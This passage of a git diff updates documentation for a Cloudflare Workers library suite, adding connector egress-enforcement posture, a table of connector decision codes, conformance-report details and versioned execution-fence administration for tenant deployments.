 | `@proofoftech/flowsafe/do-runner` | Runtime, Durable Object classes, D1 storage, deployment sentinel and caller attestation, identity helpers, pub/sub, retention, run summaries, execution fence, start reservations, and drain inventory |
+| `@proofoftech/flowsafe/do-runner/constants` | Suspension deadline values, duration validation, and timeout detection without the runner graph |
+| `@proofoftech/flowsafe/do-runner/testing` | Timeout resume fixtures for workflow tests |
 | `@proofoftech/flowsafe/goals` | Objective HTTP router and goal request-context contract |
 | `@proofoftech/flowsafe/host-kit` | Authenticator and verifier seams, run/thread/hub/provider topologies, routes, approval bridges, tickets, composed Worker, and execution-fence and inventory admin routes |
 | `@proofoftech/flowsafe/host-kit/module` | Workflow-module interface for import-safe host registration |
-| `@proofoftech/flowsafe/schedules` | D1 schedule domain, deployment router, reserved-context guard, and CAS tick |
+| `@proofoftech/flowsafe/schedules` | D1 schedule domain, atomic mutation capability and outcomes, deployment router, reserved-context guard, and CAS tick |
 | `@proofoftech/flowsafe/signal-providers` | Provider adapters, host Durable Object, topology, subscriptions, verified webhooks, and GitHub provider |
 | `@proofoftech/flowsafe/signals` | D1 signal domains, thread routes, canonical content-policy seam, ingress router, notification dispatch, and client |
 | `@proofoftech/flowsafe/signals/client` | DOM-free `SignalClient` without host-side signal code |
@@ -68,11 +70,17 @@ The migration and idempotency surfaces are grouped by subpath:
 
 | Surface | Main exports |
 | --- | --- |
-| Provisioning | `provisionDeployment`, `cleanupDeploymentArtifacts`, `decommissionDeployment`, `forceDecommissionDeployment`, `ProvisionDeploymentOptions`, `ProvisioningBackend`, `PlainWorkerRouteApi`, and `SeedDeploymentIdentityOptions` |
+| Provisioning | `provisionDeployment`, `cleanupDeploymentArtifacts`, `advanceDecommissionDeployment`, `advanceBackendSwitchDecommission`, `decommissionDeployment`, `forceDecommissionDeployment`, `ProvisionDeploymentOptions`, `AdvanceDecommissionDeploymentOptions`, `AdvanceBackendSwitchDecommissionOptions`, `DecommissionAdvanceAction`, `DecommissionAdvanceResult`, `ProvisioningBackend`, `PlainWorkerProvisioningApi`, `PlainWorkerCleanupOutcome`, `PlainWorkerDatabaseExportResult`, `PlainWorkerDatabaseInventoryEntry`, `PlainWorkerDeploymentStatus`, `PlainWorkerMutationOutcome`, `PlainWorkerUploadIntent`, `PlainWorkerUploadIntentBase`, `PlainWorkerUploadOutcome`, `PlainWorkerVersionBinding`, `PlainWorkerVersionDetail`, `PlainWorkerVersionSummary`, `PlainWorkerRouteApi`, and `SeedDeploymentIdentityOptions` |
 | Fleet lifecycle | `migrateFleet`, `rollbackExternalRelease`, `auditFleetDrift`, `fleetVersionReport`, `FleetRecord`, and `D1FleetStateStore` |
 | Active-route attestation | `attestFleetRecordActiveRoute`, `attestConvergedActiveRoute`, `ActiveRouteAttestation`, `ActiveRouteAttestationError`, `ActiveRouteExpectation`, `AttestConvergedActiveRouteOptions`, and `ObservedActiveRoute` |
 | Settlement | `fleetSettlementKey`, `FleetSettlementContext`, `FleetSettlementEntry`, and `FleetSettlementHost` |
-| Backends and provider client | `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` |
+| Backends and provider client | `PlainWorkerBackend`, `PlainWorkerBackendOptions`, `CloudflareApiPlainWorkerBackend`, `CloudflareApiPlainWorkerBackendOptions`, `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `CloudflareClientOptions`, `PlainWorkerCloudflareClientOptions`, `CloudflarePlaneCapabilityError`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` |
+
+## fleet-control Worker library
+
+`@proofoftech/fleet-control/cloudflare-control-plane` is a library for a dedicated trusted Cloudflare control-plane Worker. Start with `createCloudflareControlPlane` and `CloudflareControlPlaneOptions`; the returned `CloudflareControlPlane` coordinates ordinary-Worker deployments through durable Fleet state. See the [Fleet Control guide](fleet-control.md) for deployment ownership and authorization.
+
+The subpath also exposes `D1FleetStateDatabase`, `D1CloudflareApiRateCoordinator`, and `R2DatabaseExportStore`. Its declarations require `@cloudflare/workers-types >=5.20260730.1 <6`. The `workers/*` entries remain deployable platform Workers.
 
 ## Browser and server boundaries
 
@@ -80,12 +88,13 @@ Safe browser imports:
 
 - `@proofoftech/flowsafe/approval-ui`
 - `@proofoftech/flowsafe/signals/client`
+- `@proofoftech/flowsafe/do-runner/constants` and `@proofoftech/flowsafe/do-runner/testing`, which carry the suspension deadline values, duration predicate, timeout detector and fixture minter without the runner graph
 - `ApprovalApiClient` and structural client types
 
 Server or Worker imports:
 
 - breakwater processors and connector SDK
-- flowsafe approval API, agent host, runner, host kit, agents, schedules, signals, providers, tasks, artifacts, and audit export
+- flowsafe approval API, agent host, the `@proofoftech/flowsafe/do-runner` entry, host kit, agents, schedules, signals, providers, tasks, artifacts, and audit export
 
 Node-only execution:
 
diff --git a/docs/approval-system.md b/docs/approval-system.md
index 1075389f..c9ecee80 100644
--- a/docs/approval-system.md
+++ b/docs/approval-system.md
@@ -134,6 +134,8 @@ Both D1 and in-memory stores implement compare-and-swap transitions:
 
 The service always routes batch work through the same single-record methods. Batch APIs do not bypass authorization, attribution, notification, audit, or resume logic.
 
+When constructing `ApprovalService` or `buildHostApprovalService` directly, supply the trusted `workflowTablePrefix` for its D1 workflow storage. The empty string means the default namespace; omission means unknown. Built-in Worker and starter compositions pass their actual prefix. Proof-only decisions require a complete matching workflow/run/generation at that namespace and recheck the originally selected generation after separation-of-duties/history waits, before the approval CAS. A replacement run cannot inherit the earlier decision authority. These checks preserve the existing terminal-run SQL guard; they do not make approval storage and external resume effects one transaction.
+
 ## SLA and notifications
 
 `sweepSLA(store, options)` reads the deployment store and transitions overdue open requests to `escalated`. Run it through the maintenance Durable Object duty, never an HTTP route.
diff --git a/docs/breakwater-architecture.md b/docs/breakwater-architecture.md
index 9ba916f5..06b3cd1b 100644
--- a/docs/breakwater-architecture.md
+++ b/docs/breakwater-architecture.md
@@ -161,7 +161,7 @@ The manifest declaration and injected fetch are separate checks:
 
 Cross-origin redirect hops strip credential headers. A 307/308 redirect with a one-shot stream body is refused because replaying it safely is impossible.
 
-This is not socket interception. Code that calls global `fetch`, opens a socket, or uses an SDK with an independent HTTP stack bypasses runtime-fetch enforcement. Inject `runtime.fetch` into compatible SDKs and apply infrastructure egress controls around the process.
+This is not socket interception. Code that calls global `fetch`, opens a socket, or uses an SDK with an independent HTTP stack bypasses runtime-fetch enforcement. Inject `runtime.fetch` into compatible SDKs and apply infrastructure egress controls around the process. A connector using an independent transport declares `egressEnforcement: 'declaration-only'`, readable through `connectorEgressPosture()` and recorded in connector audit events as `detail.egressEnforcement`.
 
 ## Replay and rate budgets
 
diff --git a/docs/connector-interface.md b/docs/connector-interface.md
index a8b7a7cd..f1599c95 100644
--- a/docs/connector-interface.md
+++ b/docs/connector-interface.md
@@ -82,7 +82,7 @@ const contact = await invokeConnector(createContact, input, {
 
 Omit `toolCallId` for suspension and run grants. For a tool-call grant, pass the exact runtime-owned ID. Never derive it from client input or store it in a shared `RequestContext`.
 
-The helper accepts only an unmodified `Connector` created by `createConnector()`. It calls the public Mastra execution wrapper, so schema validation and every Breakwater gate remain active. Input or output validation throws `ConnectorValidationError`. The error exposes only `connector` and `phase`; it omits Mastra's raw message, schema issue text, invalid value, and cause.
+The helper accepts only an unmodified `Connector` created by `createConnector()`. It calls the public Mastra execution wrapper, so schema validation and every Breakwater gate remain active. Input or output validation throws `ConnectorValidationError`. The error identifies the connector and phase with a stable kind/code; it omits Mastra's raw message, schema issue text, invalid value, and cause.
 
 ## Permission manifest
 
@@ -90,6 +90,7 @@ The helper accepts only an unmodified `Connector` created by `createConnector()`
 interface PermissionManifest {
   sideEffect: 'read' | 'write' | 'destructive' | 'idempotent';
   egress?: readonly string[];
+  egressEnforcement?: 'enforced' | 'declaration-only';
   idempotencyKey?: boolean;
   requiresApproval?: boolean;
   dryRun?: boolean;
@@ -128,6 +129,14 @@ Hostnames:
 
 Declare redirect and regional hosts. Actual redirect hops must also remain within the list.
 
+### `egressEnforcement`
+
+`enforced` asserts that every HTTP request leaves through `ConnectorRuntime.fetch`. A connector that issues no HTTP request at all is covered by that assertion. This declaration concerns HTTP traffic; it excludes platform bindings such as D1, KV, R2, and service bindings, which the guard never sees. `declaration-only` states that a vendor SDK or child process uses its own transport: organization policy checks the declared hosts, but the guard cannot check its sockets.
+
+An omitted field resolves to `declaration-only`, because enforcement has not been established. `connectorEgressPosture(tool)` reads the resolved value and returns `undefined` for a tool that `createConnector()` did not build. The manifest itself retains the author's declaration without inserting a default, and connector audit events record the resolved value as `detail.egressEnforcement`.
+
+Set `policies.requireEgressEnforcement: true` to refuse construction unless the posture is `enforced`. The single-tenant preset accepts and pins the same flag. Construction rejects posture values outside the two literals.
+
 ### `idempotencyKey`
 
 When `true`, every real call needs a non-empty key in `breakwater.idempotencyKey`. The wrapper stores the successful result and replays it on another call with the same scoped key.
@@ -190,6 +199,8 @@ Authorization audit records the required identifiers and the resolution's `polic
 
 ## Deployment policy
 
+`requireEgressEnforcement` refuses construction of a connector whose resolved egress posture is not `enforced`.
+
 ```typescript
 interface ConnectorPolicies {
   networkEgress?: NetworkEgressOptions;
@@ -200,6 +211,7 @@ interface ConnectorPolicies {
   rateLimitStore?: RateLimitStore;
   audit?: AuditLogger;
   fetch?: EgressFetchBase;
+  requireEgressEnforcement?: true;
 }
 ```
 
@@ -256,10 +268,74 @@ schema validation
   -> idempotency commit
 ```
 
-A denial throws `ConnectorPolicyError` with connector id, policy name, and reason. Every gate records its decision through the supplied audit logger. Connector decisions use `agentAuditDetail()`, so trusted `breakwater.auditContext` correlation overrides same-named decision detail.
+A denial throws `ConnectorPolicyError`; use its [decision code](#connector-decision-codes) for machine handling. Decisions that reach the configured audit wrapper retain their existing audit events. Connector decisions use `agentAuditDetail()`, so trusted `breakwater.auditContext` correlation overrides same-named decision detail.
 
 An arbitrary execution, store, evaluator, or parser throw is not copied verbatim into audit. Safe built-in errors can register a static reason and bounded metadata.
 
+## Connector decision codes
+
+Branch on `code`, `policyKind` and `retryable` from the exported error types instead of parsing human reasons. `ConnectorDecisionCode` names the patch-stable catalogue; `ConnectorPolicyName` describes canonical categories. Diagnostic `policy` values remain arbitrary strings, including custom evaluator names.
+
+Import `CONNECTOR_DECISIONS`, `isConnectorDecisionCode`, `connectorDecisionRetryable` and the error types from `@proofoftech/breakwater/connector-sdk` or the root package. The catalogue and its entries are frozen. The retryability helper rejects unknown codes; a structural code check classifies data without establishing who produced it.
+
+| Code | Emitted for | Retryable |
+| --- | --- | --- |
+| `CONNECTOR_ALLOWED` | Fresh execution, replay, joined execution or simulation returns a result | false |
+| `PERMISSION_GRANTED` | existing connector.authorize allow event | false |
+| `APPROVAL_GRANTED` | existing connector.approval allow event | false |
+| `IDEMPOTENCY_TAKEOVER` | existing separate stale-reservation takeover event; no new takeover behavior | false |
+| `EGRESS_INPUT_INVALID` | standalone guard received neither supported URL string nor URL-like object | false |
+| `EGRESS_URL_INVALID` | initial URL parsing refusal | false |
+| `EGRESS_SCHEME_NOT_ALLOWED` | initial non-http(s) scheme | false |
+| `EGRESS_HOST_NOT_DECLARED` | initial actual request host outside manifest | false |
+| `EGRESS_REDIRECT_URL_INVALID` | unparseable redirect Location | false |
+| `EGRESS_REDIRECT_SCHEME_NOT_ALLOWED` | redirect to non-http(s) scheme | false |
+| `EGRESS_REDIRECT_HOST_DENIED` | redirect host outside manifest | false |
+| `EGRESS_REDIRECT_UNVERIFIABLE` | opaque status-0 redirect; Location unavailable | false |
+| `EGRESS_REDIRECT_LIMIT_EXCEEDED` | guard refuses to follow beyond configured cap | false |
+| `EGRESS_REDIRECT_BODY_UNREPLAYABLE` | one-shot body cannot be resent safely | false |
+| `EGRESS_DENIED` | backward-compatible manually constructed standalone EgressDeniedError without explicit metadata | false |
+| `EGRESS_HOST_NOT_ALLOWED_BY_ORG` | networkEgress rejects a declared host; independent of name override | false |
+| `PERMISSION_PROJECTION_INVALID` | required-permission projection absent or malformed | false |
+| `PERMISSION_MISSING` | valid projection lacks one or more required identifiers | false |
+| `APPROVAL_GRANT_MISSING` | no valid matching structured approval grant, including stale/wrong/malformed grants | false |
+| `RATE_LIMIT_EXCEEDED` | increment succeeded and exhausted configured budget | true |
+| `IDEMPOTENCY_KEY_MISSING` | manifest requires a nonempty key | false |
+| `IDEMPOTENCY_CONFLICT` | legacy or current atomic pending execution owns the same key | true |
+| `IDEMPOTENCY_LEGACY_AMBIGUOUS` | ambiguous legacy tuple needs external association | false |
+| `IDEMPOTENCY_MIGRATION_REQUIRED` | legacy writer drain acknowledgement absent | false |
+| `DRY_RUN_UNSUPPORTED` | simulation requested without declared implementation | false |
+| `WORKFLOW_SCOPE_MISSING` | crossWorkflowIsolation addresses workflow state without caller scope | false |
+| `CROSS_WORKFLOW_ACCESS_DENIED` | target differs from caller workflow | false |
+| `ISOLATION_SCOPE_MISSING` | tenantIsolation has no valid opaque scope | false |
+| `BACKGROUND_OVERRIDE_DENIED` | SDK hard presence check rejects foreground-only argument override | false |
+| `BACKGROUND_EXECUTION_DENIED` | backgroundExecution evaluator rejects write-class enabled override | false |
+| `EVALUATOR_DENIED` | custom/legacy evaluator denial without more specific metadata | false |
+| `EVALUATOR_FAILED` | tool evaluator throws or returns invalid new decision metadata | false |
+| `STORE_UNAVAILABLE` | pre-execution increment/get/inspect/reserve exception | true |
+| `STORE_COMMIT_FAILED` | post-success put failed; audit only, successful result still delivered | false |
+| `STORE_RELEASE_FAILED` | best-effort release failed; audit only, original failure remains primary | false |
+| `CONNECTOR_EXECUTION_FAILED` | existing generic execute-failure audit; arbitrary application exception still propagates unchanged | false |
+| `CONNECTOR_INPUT_INVALID` | invokeConnector input validation boundary | false |
+| `CONNECTOR_OUTPUT_INVALID` | wrapper output validation audit and invokeConnector validation boundary | false |
+| `CONNECTOR_UNREGISTERED` | invokeConnector did not receive a registered connector | false |
+| `CONNECTOR_BOUNDARY_MODIFIED` | registered execution boundary fingerprint differs | false |
+| `CONNECTOR_INVOCATION_OPTIONS_INVALID` | explicit invalid toolCallId boundary | false |
+| `CONNECTOR_BOUNDARY_UNVERIFIABLE` | public execute returned without entering protected wrapper and was not recognized input validation | false |
+
+
+A retryable refusal permits another attempt after its condition clears, with the same logical operation and idempotency identity. It does not authorize a fresh key or prove that uncertain external effects can be repeated. Breakwater adds no automatic retries. A redirect refusal remains non-retryable because the preceding request may already have caused an effect.
+
+`ConnectorPolicyError` retains `connector`, `policy`, `reason` and its three-string constructor. It adds `kind: 'connector-policy'`, code, canonical category, retryability and code-specific details. A manually constructed legacy error receives `EVALUATOR_DENIED`; names never determine codes. Custom evaluators may still return `{ allowed: false, reason }`, or supply a denial code and its supported details. Invalid new metadata becomes `ConnectorEvaluatorError` with `EVALUATOR_FAILED`.
+
+`ConnectorStoreError` identifies the actual store and operation. Before execution, a store failure retains the original exception on native `cause`, with a fixed public message and `STORE_UNAVAILABLE`. After a successful effect, a failed `put` is audited as `STORE_COMMIT_FAILED` while the successful result remains returned. A failed best-effort release is audited as `STORE_RELEASE_FAILED` while the original failure remains primary. The [Agent CLI adapter](agent-cli-connectors.md#error-handling) preserves the taxonomy while omitting raw causes.
+
+`ConnectorValidationError` has `kind: 'connector-validation'` and the input/output code while keeping schema values, issue text and causes private. `ConnectorInvocationError` extends `TypeError` for the public ownership, options and enforcement-boundary refusals. Arbitrary application execution exceptions retain their original identity; their audit event uses `CONNECTOR_EXECUTION_FAILED`.
+
+Safe details describe an extracted host/hop, declared or missing permission identifiers, policy version, or configured rate limit/window where the code supports them. They are copied rather than merged from arbitrary objects. Effective grants, idempotency keys, request bodies, full URLs and raw causes do not enter these new details. Host-authored diagnostic names and reasons remain prose; do not put secrets in them.
+
+SDK-owned audit events carry `decisionCode`, `policyKind` and `retryable` from the same classification as the thrown error. Nested connector errors retain their causal code even when the outer event's decision is `error`. Shared audit fields remain optional for non-connector events. Input validation or invocation refusal can precede the configured audit wrapper, so such a refusal does not imply that an audit event exists.
+
 ## Network egress
 
 Egress has two nested policies:
@@ -299,7 +375,7 @@ The wrapper does not intercept:
 - a vendor SDK's private transport;
 - the child process used by an Agent CLI connector.
 
-Inject `runtime.fetch` into compatible SDKs. Apply infrastructure network policy for process-wide enforcement.
+Inject `runtime.fetch` into compatible SDKs. Apply infrastructure network policy for process-wide enforcement. A connector using a transport outside the guard declares `egressEnforcement: 'declaration-only'`; `connectorEgressPosture()` reads that declaration and connector audit events record it as `detail.egressEnforcement`.
 
 ## Approval context
 
@@ -520,3 +596,19 @@ At minimum, test:
 12. packed npm consumer behavior.
 
 For Agent CLIs, also read [Agent CLI connectors](agent-cli-connectors.md).
+
+### Assert connector conformance
+
+Use `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` from the root or connector SDK export to certify supplied cases for an enforced connector. The synchronous factory must wire both supplied policy members, `fetch` and `audit`. The [connector authoring guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#assert-connector-conformance) explains the expectations, preset wiring, instrumentation refusals, and timeout handling.
+
+A conformant run returns a `ConnectorConformanceReport`; otherwise `ConnectorConformanceError.report` contains it. The report exposes `conformant`, the resolved `posture` when available, `instrumented` labels, per-case evidence, a flat `findings` list, and `limit`. Case results expose their name, `proved` outcome, observed `guardedHosts`, refused `escapes`, positional `decisionCodes`, `transportCalls`, `auditEvents`, and their view of the findings. A finding has a code, reason, optional case name, an optional policy member for wiring failures, and an optional `observedAfterCase` naming the settled case whose abandoned work produced a run-level finding.
+
+On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition or assignment still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion the case itself reverses before it settles is one of the channels listed under [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits). When verification fails, the case is ineligible for the outcome check and proves `nothing`. An `INSTRUMENTATION_UNSUPPORTED` or `INSTRUMENTATION_REPLACED` finding during probe construction refuses the run.
+
+| Finding | Meaning |
+| --- | --- |
+| `CASE_INVOCATION_FAILED` | Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable, unreadable, or not a plain identifier of at most 64 characters, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. |
+
+The report states this finite-case limit:
+
+> conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits
diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md
index 0a646396..fc591cd4 100644
--- a/docs/deployment-reference.md
+++ b/docs/deployment-reference.md
@@ -2,6 +2,8 @@
 
 Anchorage is a library, not a hosted control plane. Deploy one uniquely named Worker, D1 database, and set of Durable Object namespaces for each organization. The Worker script name is the Durable Object namespace boundary: replace the template's `replace-me` segment with the deployment tag and never reuse that script name for another organization. You also own optional R2 and Queue resources, the identity verifier, policies, maintenance schedules, and the provisioning system that keeps every resource set one-to-one.
 
+This reference configures the tenant application Worker. Run account-level Fleet operations in a separate [trusted control-plane Worker](fleet-control.md#run-the-trusted-control-plane-in-a-worker). Keep its provider token, Fleet/quota databases, and export bucket out of these tenant bindings.
+
 Choose one starting point:
 
 | Starting point | Use it for |
@@ -13,7 +15,7 @@ The baseline is intentionally smaller. Advanced features are supported and opt-i
 
 ## Cloudflare compatibility
 
-Use the Worker runtime with `nodejs_compat`, D1, and SQLite-backed Durable Objects. Treat Durable Object migration tags as append-only. Add a new migration tag when introducing the hub, thread, or provider-host class; never edit an already deployed tag.
+Use the Worker runtime with `nodejs_compat`, D1, and SQLite-backed Durable Objects. These settings belong to the tenant templates; the [Fleet host has its own runtime configuration](fleet-control.md#size-the-worker-for-its-workload). Treat Durable Object migration tags as append-only. Add a new migration tag when introducing the hub, thread, or provider-host class; never edit an already deployed tag.
 
 The checked-in configurations pin a compatibility date that the repository verifies. Review Cloudflare release notes before changing it.
 
@@ -32,7 +34,7 @@ Do not perform a physical-isolation cutover as an in-place update of a pooled Wo
 
 Provision the sentinel before application migrations or traffic. Install host-provided Wrangler `>=4.118 <5` in the application, then run `npx flowsafe-provision --database <database> --tag <tag> --initial-fence-state <open|migration-locked> --remote --config wrangler.jsonc`. Set distinct `DEPLOYMENT_IDENTITY_SECRET` and `MAINTENANCE_ADMIN_SECRET` values with `wrangler secret put`. Wrangler is not installed as a Flowsafe peer. The CLI is published with Flowsafe. It verifies the exact singleton schema, refuses to re-home an owned database, and refuses to adopt an unowned database that already contains application tables.
 
-The initial fence state is required and has no default. Choose `open` for an ordinary deployment or `migration-locked` for a deployment that must remain inert until a migration completes. A database created before Flowsafe 0.20 can lack the fence table or row; runtime reads treat that absence as `open` for upgrade compatibility.
+The initial fence state is required and has no default. Choose `open` for an ordinary deployment or `migration-locked` for a deployment that must remain inert until a migration completes. A database created before Flowsafe 0.20 can lack the table or have an empty five-column legacy table; those cases read as optional `open`. A missing row after any epoch/revision metadata column exists is unreadable and is never reseeded. Initialization adds the metadata columns without changing an existing row's state, proof fields, or timestamp; interrupted supported prefixes resume on retry.
 
 Treat `migration-locked` at birth as a verified postcondition. After provisioning, authenticate `GET /admin/execution-fence` and fail the provisioning operation unless the response state is `migration-locked`. This check also makes version skew loud: an older control plane that seeds a 0.20 database without establishing the required state cannot pass the postcondition.
 
@@ -94,7 +96,7 @@ Host routing belongs to the provisioning control plane. It must resolve a hostna
 | --- | --- | --- |
 | `DEPLOYMENT_TENANT` | None | Required provisioning tag. Protected routes return `503` unless it matches the D1 sentinel |
 | `DEPLOYMENT_IDENTITY_SECRET` | None | Required internal credential. Worker-to-Durable-Object requests fail before storage unless it matches |
-| `MAINTENANCE_ADMIN_SECRET` | None | Shared-secret credential. Execution-fence and inventory routes always return `503` when it is absent or malformed. Ensure-maintenance and maintenance-status instead accept a relayed fleet capability when `FLEET_MAINTENANCE_CAPABILITIES=required` and the secret is absent |
+| `MAINTENANCE_ADMIN_SECRET` | None | Shared-secret credential. Execution-fence and inventory routes always return `503` when it is absent or malformed. Ensure-maintenance and maintenance-status relay fleet capabilities when `FLEET_MAINTENANCE_CAPABILITIES=required`; a local Maintenance object retains this secret for receipt signing |
 | `APPROVAL_ACTOR_TOKENS` | Empty | Static verifier map. Empty means every authenticated route returns 401 |
 | `APPROVAL_SLA_SECONDS` | `14400` | SLA assigned to new approval records |
 | `APPROVAL_ALLOW_SELF_DECISION` | Unset | Separation of duties enabled. Accepts `true` or a comma-separated role list |
@@ -141,6 +143,10 @@ GET  /api/stream/run/:workflowId/:runId
 
 The stream routes mount only when streaming is configured. The approval create route is off unless the host explicitly enables its capability-free form.
 
+`POST /runs` accepts optional `requestContext`, a JSON object for non-reserved application values. A malformed shape or reserved key returns HTTP 400 with `reason: "reserved-context-key"`; the existing request-body bound still applies. Validation follows authentication and workflow authorization. The value reaches the run through the protected ordinary-start topology. Schedule starts use their verified stored target instead, including when that target omits context.
+
+Keyed retries validate context and execute host policy again. A valid divergent value does not replace the winning run's stored context or start another run. See [request-context precedence and persistence](do-runner-design.md#request-context).
+
 ### Control-plane routes
 
 The composed Worker mounts operational routes before tenant routers:
@@ -155,13 +161,41 @@ GET  /admin/maintenance-status
 
 The execution-fence and inventory routes require `Authorization: Bearer <maintenance_admin_secret>`. `MAINTENANCE_ADMIN_SECRET` must contain 32 to 256 visible ASCII characters and must differ from `DEPLOYMENT_IDENTITY_SECRET`. If the secret is absent, both routes return `503`; they never delegate authentication to a fleet capability.
 
-The ensure-maintenance and maintenance-status routes use the same shared-secret rule when `MAINTENANCE_ADMIN_SECRET` is configured. When `FLEET_MAINTENANCE_CAPABILITIES=required` and that secret is absent, they instead relay the caller's Ed25519 fleet capability token for downstream verification. The Worker does not compare the relayed token with a shared secret, and caps the credential at 2,048 characters.
+The ensure-maintenance and maintenance-status routes relay the caller’s Ed25519 fleet capability when `FLEET_MAINTENANCE_CAPABILITIES=required`, including when a local Maintenance object has a receipt-signing secret. A configured secret must still be well formed and distinct from deployment identity. The Maintenance object verifies the capability; a raw maintenance secret does not substitute for it. Without the required-capability marker, these routes use shared-secret authentication.
 
 The deployment-identity gate runs before every control-plane route, so a binding or sentinel mismatch still returns `503` before administration.
 
-`GET /admin/execution-fence` returns `{ state, proofKey?, proofRunId? }`. `POST /admin/execution-fence` accepts `{ expected, next, proofKey? }` and applies one CAS transition. A stale `expected` value returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'` and the current state. The host owns transition policy; Flowsafe validates only the state vocabulary, CAS, and proof-key shape.
+`GET` and successful `POST /admin/execution-fence` return `{ state, mutationEpoch, requireMutationEpoch, transitionRevision, proofKey?, proofRunId? }`, without internal receipts. Optional mode has epoch zero and `requireMutationEpoch: false`. Every newly applied administrative command increments the revision, including a same-state command. Proof-run binding changes neither counter.
+
+`POST` accepts `{ expected, next, proofKey?, expectedMutationEpoch?, expectedRevision?, advanceMutationEpoch? }`. Supply both expected counters together as nonnegative safe-integer numbers. `advanceMutationEpoch` must be boolean when supplied; true requires the expected pair, increments the epoch once, and sets the sticky requirement in that same CAS. Ordinary state changes preserve the epoch and requirement. Invalid input returns `400`, and exhausted counters never wrap. The host owns state-transition policy; entering `proof-only` requires a path-safe proof key.
+
+An upgraded CAS compares state, epoch, and revision. An exact retry succeeds only while that exact command is the last applied upgraded command, preserving any subsequently bound proof run and the write timestamp. Matching the resulting state is not enough. An intervening admin command invalidates the retry. A valid mismatch returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'`, the full current reading, and `reason.conflict: 'expectation-mismatch'`.
+
+Legacy `{ expected, next, proofKey? }` requests remain valid only before activation. They increment the revision, clear the previous upgraded receipt, and retain state-only ABA semantics. After activation, they return `409` with `reason.conflict: 'versioned-expectation-required'`. Storage failures, corrupt metadata, and write outcomes that strict readback cannot prove return `503` with `EXECUTION_FENCE_UNREADABLE`.
+
+Administrative metadata does not establish final-write run or schedule protection. Activate the requirement only for deployments whose writers all carry a final-write epoch check; schedule mutations do, asserting the caller epoch before the state gate and revalidating it inside the mutation's own batch, so a write that races an advancing epoch is refused or reported as an unknown outcome, never silently accepted. Use an authoritative D1 binding for administration and ordinary reads; an unconstrained replica facade cannot satisfy the store's freshness contract. The [runner design](do-runner-design.md#execution-fence-and-start-reservations) describes schema recovery, proof binding, and the legacy-absence limitation.
+
+Additive proof-identity columns preserve an active fence's epoch, revision, receipt, state, and timestamps. A complete stored proof identity includes its D1 prefix, workflow, run, and token. Admin reads and conflicts expose neither this identity nor its token; a newly applied admin command clears it with the proof-run binding, while an exact retry preserves it.
+
+Runtime, approval and signal proof gates compare the complete stored generation. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority; an admin reading or validated identity alone cannot authorize execution or establish owning quiescence.
+
+`GET /admin/inventory` returns the category index. Add `?category=<category>&cursor=<cursor>&limit=<limit>` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. A pending agent-inbox notification scheduled for later, or carrying no due timestamp, is work and keeps the proof open. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration.
+
+### Configure the trusted caller epoch
 
-`GET /admin/inventory` returns the category index. Add `?category=<category>&cursor=<cursor>&limit=<limit>` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration.
+Set `mutationEpoch` on `createFlowsafeWorker()` to a nonnegative safe-integer number or a synchronous callback of the deployment environment. The factory captures the configured source once; each fetch captures its value before the first deployment-verification await. A callback must return a number or `undefined`, not a string, Promise or thenable. Invalid values return `400` before authentication or route work; invalid scalar configuration fails at construction.
+
+`createActorResolver()` and `createPrincipalActorContext()` also accept a scalar epoch. Custom resolvers must derive it from trusted host or verified credential data, never a client-selected field.
+
+The topologies stamp `x-flowsafe-mutation-epoch` for internal calls, replacing or removing incoming values. `createActorResolver()` refuses that header on public requests. Both Durable Object shells capture it before deployment verification and decode the captured value only afterward.
+
+The Fleet Control guide carries the procedure that applies this configuration: [roll out an artifact under the execution fence](fleet-control.md#roll-out-an-artifact-under-the-execution-fence) coordinates the epoch with a bounded migration of one deployment.
+
+Fenced Runtime starts enforce the captured caller epoch at the initial D1 write and bind their generated execution identity with the winning claim and proof. Both hosts journal preparation and recover only exact owned generations. Generation-aware retention still requires implementation and acceptance before enabling artifact epochs across the deployment. An explicitly unfenced Runtime retains ordinary persistence and supplies no atomic fence guarantee.
+
+Custom run-router idempotency wiring must supply the topology's private `persistedStart(workflowId, runId)` callback alongside its store, fence and liveness probe. It carries one observed identity/result internally; ordinary public status is not a substitute. Use `claimReservation`, `releaseReservation`, `associateReservation`, `bindPreparedStart` and `settleExecution` with their exact observations. The old run-only methods and HTTP rollback helper are removed.
+
+The liveness callback must observe the owning execution surface and reject when that observation is unavailable. Returning `false` permits reclaiming an existing reserved key with no persisted result. The built-in topologies require a valid boolean response, and the agent host includes Core's retained stream registrations.
 
 ### Advanced routes
 
@@ -213,6 +247,15 @@ Other route factories accept a `basePath` when the exact public prefix is host-s
 
 Use the exported router and topology factories rather than recreating their gate order.
 
+The start policy receives the validated application context:
+
+| Composition | Hook signature |
+| --- | --- |
+| Direct router | `beforeStart(context, workflowId, inputData, requestContext)` |
+| Composed Worker | `beforeStart(context, env, workflowId, inputData, requestContext)` |
+
